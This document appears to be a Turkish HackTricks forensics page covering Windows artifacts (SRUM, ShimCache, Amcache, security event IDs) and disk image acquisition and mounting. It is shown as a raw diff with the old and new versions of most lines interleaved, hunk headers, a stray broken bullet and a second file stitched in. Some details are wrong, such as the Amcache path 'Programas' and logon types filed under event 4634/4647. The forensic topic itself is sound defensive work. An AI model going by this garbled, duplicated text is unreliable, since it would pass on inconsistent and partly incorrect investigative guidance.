Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracını kullanarak erişebilirsiniz.
### SRUM
**System Resource Usage Monitor** (SRUM), bir işlem tarafından tüketilen kaynakları izler. W8'de ortaya çıkmış olup, verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında depolar.
**System Resource Usage Monitor** (SRUM) bir işlem tarafından **tüketilen kaynakları izler**. W8'de ortaya çıktı ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar.
Aşağıdaki bilgileri sağlar:
Aşağıdaki bilgileri verir:
* Uygulama Kimliği ve Yolu
* İşlemi yürüten kullanıcı
* Gönderilen baytlar
* Alınan baytlar
* Gönderilen Baytlar
* Alınan Baytlar
* Ağ Arayüzü
* Bağlantı süresi
* İşlem süresi
Bu bilgiler her 60 dakikada bir güncellenir.
Bu bilgi her 60 dakikada bir güncellenir.
Bu dosyadan verileri [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) aracını kullanarak elde edebilirsiniz.
Bu dosyadan bilgiyi [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) aracını kullanarak elde edebilirsiniz.
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
**AppCompatCache**, ayrıca **ShimCache** olarak da bilinen, uygulama uyumluluk sorunlarını çözmek için **Microsoft** tarafından geliştirilen **Uygulama Uyumluluk Veritabanı**nın bir parçasıdır. Bu sistem bileşeni, aşağıdaki dosya meta verilerini kaydeder:
**AppCompatCache**, ayrıca **ShimCache** olarak da bilinen, uygulama uyumluluk sorunlarıyla başa çıkmak için **Microsoft** tarafından geliştirilen **Uygulama Uyumluluk Veritabanı**nın bir parçasını oluşturur. Bu sistem bileşeni, şunları içeren çeşitli dosya meta verilerini kaydeder:
- Dosyanın tam yolu
- Dosyanın boyutu
@ -349,135 +353,170 @@ Bu dosyadan verileri [**srum\_dump**](https://github.com/MarkBaggett/srum-dump)
- ShimCache'in Son Güncelleme zamanı
- İşlem Yürütme Bayrağı
Bu tür veriler, işletim sistemi sürümüne bağlı olarak kayıt defterinde belirli konumlarda depolanır:
Bu tür veriler, işletim sisteminin sürümüne bağlı olarak belirli konumlarda kaydedilir:
- XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında depolanır ve 96 giriş kapasitesine sahiptir.
- Server 2003 için ve ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 girişe kadar yer sağlar.
- Server 2003 için ve Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup sırasıyla 512 ve 1024 girişi barındırır.
Depolanan bilgileri ayrıştırmak için [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) aracının kullanılması önerilir.
Depolanan bilgileri ayrıştırmak için [**AppCompatCacheParser** aracı](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir.
![](<../../../.gitbook/assets/image (488).png>)
### Amcache
**Amcache.hve** dosyası, bir sistemin üzerinde çalıştırılan uygulamalar hakkında ayrıntıları kaydeden bir kayıt defteri hive'ıdır. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur.
**Amcache.hve** dosyası, bir sistemin üzerinde çalıştırılan uygulamalar hakkında detayları kaydeden bir kayıt hive'ıdır. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur.
Bu dosya, son zamanlarda çalıştırılan işlemlerin kayıtlarını saklamak için önemlidir ve yürütülebilir dosyaların yollarını ve SHA1 karma değerlerini içerir. Bu bilgi, bir sistemdeki uygulamaların faaliyetlerini izlemek için çok değerlidir.
Bu dosya, son zamanlarda çalıştırılan işlemlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 karma değerlerini içermesiyle dikkat çekicidir. Bu bilgi, bir sistemdeki uygulamaların faaliyetlerini izlemek için çok değerlidir.
**Amcache.hve** dosyasından verileri çıkarmak ve analiz etmek için [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ın **Amcache.hve** dosyasının içeriğini ayrıştırmasını ve sonuçları CSV formatında çıktılamasını sağlayan bir örnektir:
**Amcache.hve** dosyasından verileri çıkarmak ve analiz etmek için [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ın **Amcache.hve** dosyasının içeriğini ayrıştırarak sonuçları CSV formatında çıkarmak için nasıl kullanılacağını gösterir:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Oluşturulan CSV dosyaları arasında, `Amcache_Bağlantısız dosya girişleri` özellikle dikkate değerdir çünkü bağlantısız dosya girişleri hakkında zengin bilgi sağlar.
Oluşturulan CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sağlar.
En ilginç CSV dosyası ise `Amcache_Bağlantısız dosya girişleri`dir.
En ilginç CVS dosyası `Amcache_Unassociated file entries` olarak oluşturulmuştur.
### RecentFileCache
Bu sanat eseri, bazı ikili dosyaların son yürütülmesi hakkında bilgi içeren `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` konumunda yalnızca W7'de bulunabilir.
Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz.
### Zamanlanmış görevler
Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` dizininden çıkarabilir ve XML olarak okuyabilirsiniz.
Onları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` konumlarından çıkarabilir ve XML olarak okuyabilirsiniz.
### Hizmetler
Hizmetleri `SYSTEM\ControlSet001\Services` kayıt defterinde bulabilirsiniz. Ne zaman ve neyin yürütüleceğini görebilirsiniz.
Hizmetleri `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin yürütüleceğini görebilirsiniz.
### **Windows Mağazası**
Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` dizininde bulunabilir. Bu depoda, sistemdeki her uygulamanın veritabanı içindeki **`StateRepository-Machine.srd`** adlı bir **günlüğü** vardır.
Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` konumunda bulunabilir.\
Bu depoda, sisteme yüklenen **her uygulama** hakkında **`StateRepository-Machine.srd`** veritabanı içinde bir **günlük** bulunmaktadır.
Bu veritabanının Application tablosu içinde, "Uygulama Kimliği", "Paket Numarası" ve "Görüntülenen Ad" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve yüklenmiş uygulamaların kimlikleri ardışık olmalıdır, bu nedenle bazı uygulamaların kaldırılıp kaldırılmadığı bulunabilir.
Bu veritabanının Application tablosu içinde, "Uygulama Kimliği", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve yüklenen uygulamaların kimlikleri sıralı olmalıdır.
Ayrıca, yüklenen uygulamaları kayıt defteri yolunda da bulmak mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Ve **kaldırılan** uygulamalar: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
Ayrıca, yüklenen uygulamaları `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` yolunda **bulmak** mümkündür\
Ve **kaldırılan** **uygulamaları** `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` konumunda bulabilirsiniz.
## Windows Olayları
Windows olaylarında görünen bilgiler:
Windows olayları içinde görünen bilgiler:
* Ne olduğu
* Zaman damgası (UTC + 0)
* İlgili kullanıcılar
* İlgili ana bilgisayarlar (ana bilgisayar adı, IP)
* Erişilen varlıklar (dosyalar, klasörler, yazıcılar, hizmetler)
* İlgili Kullanıcılar
* İlgili Ana Bilgisayarlar (ana bilgisayar adı, IP)
* Erişilen Varlıklar (dosyalar, klasörler, yazıcılar, hizmetler)
Günlükler, Windows Vista'dan önce `C:\Windows\System32\config` dizininde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` dizininde bulunur. Windows Vista'dan önce, olay günlükleri ikili formatta ve Windows Vista'dan sonra **XML formatında** ve **.evtx** uzantısıyla kullanılır.
Olay kayıtları, Windows Vista'dan önce `C:\Windows\System32\config` ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` konumlarında bulunmaktadır. Windows Vista'dan önce, olay kayıtları ikili formatta iken sonrasında **XML formatında** ve **.evtx** uzantısını kullanmaktadır.
Olay dosyalarının konumu, SYSTEM kayıt defterinde **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunabilir.
Olay dosyalarının konumu, olay günlüklerinin **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunan SYSTEM kayıt defterinde bulunabilir.
Bu olaylar, Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) gibi diğer araçlarla veya [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** gibi diğer araçlarla görüntülenebilir.
Bu olaylar, Windows Olay Görüntüleyicisi (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) gibi diğer araçlarla **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** ile** görselleştirilebilir.
## Windows Güvenlik Olay Kaydını Anlama
## Windows Güvenlik Olay Günlüğü Anlama
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesine ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarında yapılan değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir.
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesine ulaşıldığında, eski olaylar üzerine yazılır. Kaydedilen olaylar arasında kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarına yapılan değişiklikler, ayrıca dosya, klasör ve paylaşılan varlıklara erişim bulunmaktadır.
### Kullanıcı Kimlik Doğrulama için Ana Olay Kimlikleri:
- **Olay Kimliği 4624**: Kullanıcının başarılı bir şekilde kimlik doğruladığını gösterir.
- **Olay Kimliği 4625**: Kimlik doğrulama başarısızlığını bildirir.
- **Olay Kimlikleri 4634/4647**: Kullanıcı oturum kapatma olaylarını temsil eder.
- **Olay Kimliği 4672**: Yönetici ayrıcalıklarıyla oturum açmayı belirtir.
- **Olay Kimliği 4624**: Bir kullanıcının başarılı bir şekilde kimlik doğruladığını gösterir.
- **Olay Kimliği 4625**: Kimlik doğrulama başarısızlığını belirtir.
- **Olay Kimlikleri 4634/4647**: Kullanıcı çıkış olaylarını temsil eder.
- **Olay Kimliği 4672**: Yönetici ayrıcalıklarıyla girişi belirtir.
#### Olay Kimliği 4634/4647 İçindeki Alt Türler:
- **Etkileşimli (2)**: Doğrudan kullanıcı oturumu.
- **Etkileşimli (2)**: Doğrudan kullanıcı girişi.
- **Ağ (3)**: Paylaşılan klasörlere erişim.
- **Toplu (4)**: Toplu işlemlerin yürütülmesi.
- **Hizmet (5)**: Hizmet başlatmaları.
- **Proxy (6)**: Proxy kimlik doğrulaması.
- **Kilidi Aç (7)**: Şifreyle ekran kilidi açma.
- **Ağ Temiz Metin (8)**: Genellikle IIS'den yapılan açık metin şifre iletimi.
- **Vekil (6)**: Vekil kimlik doğrulaması.
- **Kilidi Aç (7)**: Şifre ile kilidin açılması.
- **Ağ Düz Metin (8)**: Genellikle IIS'den gelen düz metin şifre iletimi.
- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgilerinin kullanımı.
- **Uzaktan Etkileşimli (10)**: Uzak masaüstü veya terminal hizmetleri oturumu.
- **Önbellek Etkileşimli (11)**: Etki alanı denetleyicisi ile iletişim olmadan önbelleğe alınmış kimlik bilgileriyle oturum açma.
- **Önbellek Uzaktan Etkileşimli (12)**: Önbelleğe alınmış kimlik bilgileriyle uzaktan oturum açma.
- **Önbellek Kilidi Aç (13)**: Önbelleğe alınmış kimlik bilgileriyle kilidi açma.
- **Uzaktan Etkileşimli (10)**: Uzak masaüstü veya terminal hizmetleri girişi.
- **Önbellek Etkileşimli (11)**: Etki alanı denetleyicisi ile iletişim olmadan önbellek kimlik bilgileri ile giriş.
- **Önbellek Uzaktan Etkileşimli (12)**: Önbellek kimlik bilgileri ile uzaktan giriş.
- **Önbellek Kilidi Aç (13)**: Önbellek kimlik bilgileri ile kilidin açılması.
#### Olay Kimliği 4625 için Durum ve Alt Durum Kodları:
- **0xC0000064**: Kullanıcı adı mevcut değil - Kullanıcı adı sıralama saldırısını gösterebilir.
- **0xC000006A**: Doğru kullanıcı adı ancak yanlış şifre - Şifre tahmin etme veya brute-force saldırısı olabilir.
- **0xC0000234**: Kullanıcı hesabı kilitlendi - Birden fazla başarısız oturum açma denemesiyle sonuçlanan brute-force saldırısını takip edebilir.
- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri.
- **0xC000006F**: İzin verilen saatler dışında oturum açma - İzin verilen oturum açma saatleri dışında erişim girişimleri, yetkisiz erişimin olası bir işareti olabilir.
- **0xC000006A**: Doğru kullanıcı adı ancak yanlış şifre - Olası şifre tahmini veya kaba kuvvet saldırısı.
- **0xC0000234**: Kullanıcı hesabı kilitli - Birden fazla başarısız girişim sonucu kilitlenen hesapları takip edebilir.
- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılan hesaplara yetkisiz erişim girişimleri.
- **0xC000006F**: İzin verilen saatler dışında oturum açma - Belirlenen oturum açma saatleri dışında erişim girişimleri, yetkisiz erişimin olası bir işareti.
- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir konumdan oturum açma girişimi olabilir.
- **0xC0000193**: Hesap süresi doldu - Süresi dolmuş kullanıcı hesaplarıyla erişim girişimleri.
- **0xC0000193**: Hesap süresi doldu - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri.
- **0xC0000071**: Süresi dolmuş şifre - Güncelliğini yitirmiş şifrelerle oturum açma girişimleri.
- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, pass-the-ticket gibi daha sofistike saldırıların göstergesi olabilir.
- **0xC0000224**: Zorunlu şifre değişikliği gerekiyor - Sık sık zorunlu değişiklikler, hesap güvenliğini destabilize etme girişimini gösterebilir.
- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasındaki büyük zaman farkları, pass-the-ticket gibi daha sofistike saldırıların işareti olabilir.
- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozmaya yönelik bir girişimi gösterebilir.
- **0xC0000225**: Bir güvenlik sorunu yerine bir sistem hatasını gösterir.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türüyle erişim girişimi, bir kullanıcının bir hizmet oturumu çalıştırmaya çalışması gibi.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, bir kullanıcının bir hizmet oturumu açmaya çalışması gibi.
#### Olay Kimliği 4616:
- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olayların zaman çizelgesini karmaşıklaştırabilir.
- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olay zaman çizgisini karıştırabilir.
#### Olay Kimliği 6005 ve 6006:
- **Sistem Başlatma ve Kapatma**: Olay Kimliği 6005 sistem başlatmayı, Olay Kimliği 6006 ise sistem kapatmayı belirtir.
- **Sistem Başlatma ve Kapatma**: Olay Kimliği 6005 sistem başlatıldığını, Olay Kimliği 6006 ise kapatıldığını belirtir.
#### Olay Kimliği 1102:
- **Günlük Silme**: Güvenlik günlüklerinin temizlenmesi, genellikle yasadışı faaliyetleri örtbas etmek için yapılan bir işarettir.
- **Günlük Silme**: Güvenlik günlüklerinin temizlenmesi, genellikle yasadışı faaliyetleri örtbas etmek için bir işaret olabilir.
#### USB Aygıt Takibi için Olay Kimlikleri:
- **20001 / 20003 / 10000**: USB aygıtının ilk bağlantısı.
#### USB Cihaz Takibi için Olay Kimlikleri:
- **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı.
- **10100**: USB sürücü güncellemesi.
- **
- **Olay Kimliği 112**: USB cihazı takma zamanı.
Bu oturum açma türlerini ve kimlik bilgilerini bulma fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun.
Olay ayrıntıları, durum ve alt durum kodları, özellikle Olay Kimliği 4625'te olay nedenleri hakkında daha fazla bilgi sağlar.
### Windows Olaylarını Kurtarma
Silinmiş Windows Olaylarını kurtarma şansını artırmak için şüpheli bilgisayarı doğrudan fişten çekerek kapatmanız önerilir. `.evtx` uzantısını belirten bir kurtarma aracı olan **Bulk_extractor**'ı, bu tür olayları kurtarmak için denemeniz önerilir.
### Windows Olayları Aracılığıyla Ortak Saldırıları Tanımlama
Ortak siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin.
#### Kaba Kuvvet Saldırıları
Birden fazla Olay Kimliği 4625 kaydıyla tanımlanabilir, saldırı başarılı olursa bir Olay Kimliği 4624 ile devam eder.
#### Zaman Değişikliği
Sistem zamanı değişiklikleri, Olay Kimliği 4616 tarafından kaydedilir ve bu durumlar, adli analizi karmaşık hale getirebilir.
#### USB Cihaz Takibi
USB cihaz takibi için kullanışlı Sistem Olay Kimlikleri, başlangıç için 20001/20003/10000, sürücü güncellemeleri için 10100 ve cihaz takma zamanları için DeviceSetupManager'dan Olay Kimliği 112'yi içerir.
#### Sistem Güç Olayları
EventID 6005, sistem başlangıcını gösterirken, EventID 6006 kapanmayı işaretler.
EventID 6005, sistem başlangıcını gösterirken, EventID 6006 kapanışı işaretler.
#### Günlük Silme
Güvenlik EventID 1102, günlüklerin silinmesini belirtir, bu da adli analiz için kritik bir olaydır.
Güvenlik EventID 1102, günlüklerin silinmesini işaret eder, bu da adli bilişim analizi için önemli bir olaydır.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,16 +2,20 @@
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR'lar gönderin.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Edinme
### DD
@ -19,13 +23,7 @@
#This will generate a raw copy of the disk
dd if=/dev/sdb of=disk.img
```
dcfldd, a variant of the dd command, is a powerful tool used for data acquisition and imaging in forensic investigations. It is commonly used to create bit-by-bit copies of disk images or individual files. The advantage of using dcfldd over dd is that it provides additional features such as on-the-fly hashing, progress reporting, and error handling.
dcfldd can be used to acquire images from various sources, including physical disks, logical volumes, and network streams. It supports multiple input and output formats, allowing for flexibility in the acquisition process. The tool also provides options for verifying the integrity of the acquired images by comparing hash values.
To use dcfldd, you need to specify the input and output devices or files. You can also configure additional options such as block size, hash algorithm, and progress reporting. Once the acquisition process is complete, you can analyze the acquired image using forensic tools to extract valuable information.
Overall, dcfldd is a reliable and efficient tool for acquiring disk images and files in forensic investigations. Its additional features make it a preferred choice for professionals in the field.
### dcfldd
```bash
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
@ -33,7 +31,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### FTK Imager
FTK imager'i [**buradan indirebilirsiniz**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
FTK imajını [**buradan indirebilirsiniz**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
```
@ -60,9 +58,9 @@ ewfacquire /dev/sdb
### Çeşitli türler
**Windows** üzerinde, **forensik imajı bağlamak** için Arsenal Image Mounter'ın ücretsiz sürümünü kullanmayı deneyebilirsiniz ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)).
**Windows** üzerinde, **forensik imajı bağlamak** için ücretsiz Arsenal Image Mounter'ın ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) ücretsiz sürümünü kullanabilirsiniz.
### Ham (Raw)
### Raw
```bash
#Get file type
file evidence.img
@ -73,15 +71,7 @@ mount evidence.img /mnt
```
### EWF
EWF (EnCase Evidence File) bir disk imajı formatıdır. Bu format, disk imajının bütünlüğünü korumak için kullanılır ve veri sızıntısı riskini en aza indirir. EWF formatı, birçok popüler dijital inceleme aracı tarafından desteklenir ve genellikle adli bilişim çalışmalarında kullanılır.
EWF dosyası, bir veya daha fazla fiziksel veya mantıksal disk bölümünün tam bir kopyasını içerir. Bu dosya, disk imajının doğruluğunu ve bütünlüğünü sağlamak için karma kontrol (hash) değerleriyle korunur. EWF formatı, disk imajının orijinalinden değişiklik yapılmasını önler ve adli bilişim analizlerinde güvenilir sonuçlar elde etmek için önemlidir.
EWF dosyasını oluşturmak için birkaç farklı yöntem vardır. Bunlardan biri, fiziksel bir disk veya disk bölümünün doğrudan bir EWF dosyasına kopyalanmasıdır. Diğer bir yöntem ise, bir disk imajının E01 formatında oluşturulması ve ardından EWF formatına dönüştürülmesidir.
EWF dosyasını incelemek veya analiz etmek için, öncelikle bu dosyayı bir disk imajı olarak "bağlamak" gerekmektedir. Bu işlem, EWF dosyasını bir sanal disk olarak monte etmek veya bir disk imajı aracılığıyla erişmek şeklinde gerçekleştirilebilir. Ardından, çeşitli adli bilişim araçları kullanılarak dosya sistemi ve veri analizi yapılabilir.
EWF formatı, adli bilişim çalışmalarında disk imajlarının güvenli ve doğru bir şekilde elde edilmesini sağlar. Bu nedenle, adli bilişim uzmanları ve diğer güvenlik profesyonelleri tarafından sıklıkla tercih edilen bir yöntemdir.
### EWF
```bash
#Get file type
file evidence.E01
@ -98,12 +88,12 @@ mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
Bu, birimleri bağlamak için bir Windows Uygulamasıdır. İndirebilirsiniz buradan [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
Windows Uygulamasıdır. Birimleri bağlamak için kullanılır. İndirebilirsiniz [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### Hatalar
* **`/dev/loop0 salt okunur şekilde bağlanamıyor`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekmektedir.
* **`yanlış fs türü, hatalı seçenek, /dev/loop0 üzerinde hatalı süper blok, eksik kod sayfası veya yardımcı program veya başka bir hata.`** bu durumda bağlama, dosya sistemi ofseti disk görüntüsünden farklı olduğu için başarısız oldu. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir.
* **`/dev/loop0 salt okunur olarak bağlanamaz`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekmektedir.
* **`yanlış fs türü, kötü seçenek, /dev/loop0 üzerinde kötü süper blok, eksik kod sayfası veya yardımcı program, veya diğer hata.`** bu durumda bağlantı, dosya sisteminin ofsetinin disk görüntüsünden farklı olmasından dolayı başarısız olmuştur. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir:
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -116,18 +106,22 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
Not: Sektör boyutu **512** ve başlangıç **2048** olarak belirtilmiştir. Ardından görüntüyü şu şekilde bağlayın:
Sector boyutunun **512** ve başlangıcın **2048** olduğunu unutmayın. Ardından görüntüyü şu şekilde bağlayın:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
